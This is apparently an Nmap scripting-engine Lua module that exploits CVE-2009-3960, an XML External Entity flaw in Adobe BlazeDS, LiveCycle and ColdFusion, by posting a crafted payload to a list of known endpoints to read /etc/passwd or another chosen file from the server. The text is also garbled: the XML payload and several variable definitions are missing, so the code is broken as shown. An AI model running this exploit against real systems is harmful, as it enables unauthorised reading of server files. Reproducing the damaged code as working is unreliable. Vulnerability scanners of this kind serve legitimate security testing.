local http = require "http" local shortport = require "shortport" local stdnse = require "stdnse" local string = require "string" local table = require "table" local vulns = require "vulns" description = [[ Exploits cve-2009-3960 also known as Adobe XML External Entity Injection. This vulnerability permits to read local files remotely and is present in BlazeDS 3.2 and earlier, LiveCycle 8.0.1, 8.2.1, and 9.0, LiveCycle Data Services 2.5.1, 2.6.1, and 3.0, Flex Data Services 2.0.1, and ColdFusion 7.0.2, 8.0, 8.0.1, and 9.0 For more information see: * http://www.security-assessment.com/files/advisories/2010-02-22_Multiple_Adobe_Products-XML_External_Entity_and_XML_Injection.pdf * http://www.osvdb.org/62292 * Metasploit module: auxiliary/scanner/http/adobe_xml_inject ]] --- -- @args http-vuln-cve2009-3960.root Points to the root path. Defaults to "/" -- @args http-vuln-cve2009-3960.readfile target file to be read. Defaults to "/etc/passwd" -- -- @usage -- nmap --script=http-vuln-cve2009-3960 --script-args http-http-vuln-cve2009-3960.root="/root/" -- --@output -- PORT STATE SERVICE -- 80/tcp open http --| http-vuln-cve2009-3960: --| samples/messagebroker/http --| --|

' local matchsize = 120 local matchnotvuln = 'External entities are not allowed' local results = {} local root = stdnse.get_script_args(SCRIPT_NAME .. ".root") or "/" local readfile = stdnse.get_script_args(SCRIPT_NAME .. ".readfile") or "/etc/passwd" local paths = { "messagebroker/http", "messagebroker/httpsecure", -- Coldfusion "flex2gateway/http", "flex2gateway/httpsecure", -- BlazeDS "blazeds/messagebroker/http", "blazeds/messagebroker/httpsecure", "samples/messagebroker/http", "samples/messagebroker/httpsecure", -- LiveCycle Data Services "lcds/messagebroker/http", "lcds/messagebroker/httpsecure", "lcds-samples/messagebroker/http", "lcds-samples/messagebroker/httpsecure", } local exploit = [[ ]>

]] local options = {header={["Content-Type"]="application/x-amf"}} local path local http_vuln = { title = "Adobe XML External Entity Injection", IDS = {CVE = 'CVE-2009-3960'}, risk_factor = "High", scores = { CVSSv2 = "4.3 (MEDIUM) (AV:N/AC:M/Au:N/C:P/I:N/A:N)", }, description = [[ Permits to read local files remotely and is present in BlazeDS 3.2 and earlier, LiveCycle 8.0.1, 8.2.1, and 9.0, LiveCycle Data Services 2.5.1, 2.6.1, and 3.0, Flex Data Services 2.0.1, and ColdFusion 7.0.2, 8.0, 8.0.1, and 9.0]], references = { 'http://www.security-assessment.com/files/advisories/2010-02-22_Multiple_Adobe_Products-XML_External_Entity_and_XML_Injection.pdf', 'http://www.osvdb.org/62292' }, dates = { disclosure = {year = '2010', month = '02', day = '15'}, }, exploit_results = {}, } local report = vulns.Report:new(SCRIPT_NAME, host, port) http_vuln.state = vulns.STATE.NOT_VULN for _,path in pairs(paths) do local uri = root .. path local response = http.post(host, port, uri, options, nil, exploit) if response.status == 200 then if #response.body >= matchsize and string.sub(response.body,1,string.len(matchstart))==matchstart and string.sub(response.body,-string.len(matchend))==matchend and string.match(response.body, matchnotvuln)==nil then table.insert(results, {'File: ' .. readfile .. ' extracted via ' .. path .. '\n\n',{response.body}}) http_vuln.extra_info = stdnse.format_output(true, results) http_vuln.state = vulns.STATE.EXPLOIT end end end return report:make_output(http_vuln) end